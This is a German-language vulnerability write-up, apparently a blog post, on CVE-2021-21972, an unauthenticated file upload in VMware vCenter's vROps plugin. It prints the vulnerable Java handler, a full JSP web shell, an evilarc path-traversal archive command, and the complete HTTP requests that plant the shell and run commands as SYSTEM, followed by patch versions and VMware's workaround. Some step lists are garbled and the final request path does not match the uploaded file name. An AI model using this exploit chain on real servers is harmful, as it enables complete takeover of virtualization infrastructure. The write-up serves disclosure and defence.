
[CVE-2021-21972] VMware vSphere Client Nicht autorisierter Datei-Upload zur Remote-Codeausführung (RCE)
[CVE-2021-21972] VMware vSphere Client Unerlaubter Datei-Upload zu Remote Code Execution (RCE)
Der vSphere Web Client (HTML5) ist im Wesentlichen eine administrative Oberfläche, die die Verwaltung einer vSphere-Installation ermöglicht. Der vSphere Client bietet einem Administrator Zugriff auf die wichtigsten Funktionen von vSphere, ohne direkt auf einen vSphere-Server zugreifen zu müssen. Administratoren können damit neue virtuelle Maschinen erstellen, bestehende verwalten und deren Ressourcen steuern. Als plattformübergreifende Webanwendung kann er über die unterstützten Versionen verschiedener Webbrowser auf allen unterstützten Betriebssystemen verwendet werden.
CVE-2021-21972 ist eine Schwachstelle durch unerlaubten Datei-Upload in vCenter Server, die zu Remote Code Execution auf dem entfernten Server führt. Das Problem beruht auf fehlender Authentifizierung im vRealize Operations vCenter Plugin. Es erhielt einen kritischen CVSSv3-Score von 9,8 von 10,0. Ein nicht authentifizierter, entfernter Angreifer könnte diese Schwachstelle ausnutzen, indem er eine speziell präparierte Datei auf einen öffentlich zugänglichen, anfälligen vCenter Server-Endpunkt lädt. Die VMware vCenter Server-Versionen 6.5, 6.7 und 7.0 sind von dieser Schwachstelle betroffen. Eine erfolgreiche Ausnutzung dieser Schwachstelle würde es einem Angreifer ermöglichen, uneingeschränkte Remote Code Execution (RCE)-Berechtigungen im zugrunde liegenden Betriebssystem des vCenter Servers zu erlangen. Obwohl diese Schwachstelle vom vRealize Operations vCenter Plugin ausgeht, bestätigt das VMware Advisory, dass dieses Plugin in allen Standardinstallationen von vCenter Server enthalten ist. Dies bedeutet, dass der anfällige Endpunkt unabhängig vom Vorhandensein von vRealize Operations verfügbar ist.
Im ursprünglichen Blogbeitrag hier wird die Entdeckung der Schwachstelle so detailliert wie möglich erläutert, sowie zwei separate Wege zur Erreichung von RCE. Bei Windows-Systemen könnte ein Angreifer eine speziell präparierte .jsp-Datei hochladen, um NT AUTHORITY\SYSTEM-Berechtigungen auf dem zugrunde liegenden Betriebssystem zu erlangen. Bei Linux-Systemen müsste ein Angreifer einen öffentlichen Schlüssel generieren und auf den authorized_keys-Pfad des Servers hochladen und sich dann per SSH mit dem anfälligen Server verbinden, um vsphere-ui-Benutzerrechte zu erlangen (sofern der SSH-Dienst läuft und über das Netzwerk erreichbar ist).
vropsplugin-service.jar ist eine Java-Archivdatei des vropspluginui-Plugins und enthält einige Klassen sowie andere zugehörige Funktionen und Methoden. Der anfällige Teil des Codes ist unten dargestellt. Dieses Code-Snippet gehört zur ServicesController.class im Controller von vropsplugin-service.jar. Wie Sie im folgenden Code-Snippet sehen können, ist die Funktion uploadOvaFile für den Endpunkt/URL /ui/vropspluginui/rest/services/uploadova verantwortlich.
Vollständiger Pfad der anfälligen Klasse: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
Aus Angreifersicht führt der Handler dieser Klasse die folgenden Aktionen aus
uploadFile mit einer POST-Methode-Anfrage (Zeile 2)uploadFile und schreibt den Inhalt dieses Parameters in die Variable inputStream (Zeile 22)/tmp/unicorn_ova_dir + entry.getName() auf der Festplatte erstellt wird (Zeile 42 und 47)Proof of Concept: Um diese Schwachstelle auszunutzen, können Sie die folgenden Schritte verwenden
../../ enthält/statsreport/uploadedFileName.jspUm die Schwachstelle zu überprüfen, können Sie die folgende Anfrage verwenden
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Wenn die Antwort auf die obige Anfrage den untenstehenden Antworten ähnelt, bedeutet dies, dass der entfernte Host anfällig für CVE-2021-21972 ist
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
Danach müssen wir eine präparierte .tar-Datei erstellen. Dazu können Sie evilarc verwenden. Evilarc ist ein einfaches Python-Skript, mit dem Sie eine Zip-Datei erstellen können, die Dateien mit Zeichen zur Verzeichnisüberschreitung in ihrem eingebetteten Pfad enthält.
Inhalt von cmdjsp.jsp, im Grunde eine Webshell
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Mit dem folgenden Befehl wird die präparierte .tar-Archivdatei erstellt.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Laden Sie dann einfach die .tar-Datei mit der folgenden Anfrage auf den Server hoch
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
Die Antwort auf die obige Anfrage ist unten dargestellt
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS

Wenn der Antwortstatuscode der obigen Anfrage 200 OK ist und der Hauptteil SUCCESS lautet, bedeutet dies, dass die .tar-Archivdatei erfolgreich in den Pfad ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport hochgeladen wurde. Aufgrund des Anwendungsablaufs wird der Server die .tar-Datei in das Verzeichnis /statsreport extrahieren. Nach dieser Phase müssen Sie nur noch die folgende GET-Anfrage zur Remote Code Execution mit NT AUTHORITY\SYSTEM-Berechtigungen durchführen.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Workaround-Lösung: VMware hat diese Schwachstelle für die Versionen 7.0 U1c, 6.7 U3l und 6.5 U3n behoben. Falls der Patch jedoch nicht installiert werden kann, führen Sie die folgenden Schritte aus, um den Workaround für CVE-2021-21972 und CVE-2021-21973 auf Windows-basierten vCenter Server-Bereitstellungen zu implementieren:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml in einem Texteditor.pluginsCompatibility ein: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-plugins als "incompatible" angezeigt werden.Um den Workaround für CVE-2021-21972 und CVE-2021-21973 auf Linux-basierten virtuellen Appliances (vCSA) zu implementieren, führen Sie die folgenden Schritte aus:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml in einem Texteditor.pluginsCompatibility ein: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Beachten Sie, dass diese Schwachstelle von Mikhail Klyuchnikov von Positive Technologies entdeckt wurde und der ursprüngliche Forschungsbeitrag hier verfügbar ist.
Weitere Informationen finden Sie auf den folgenden Seiten.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html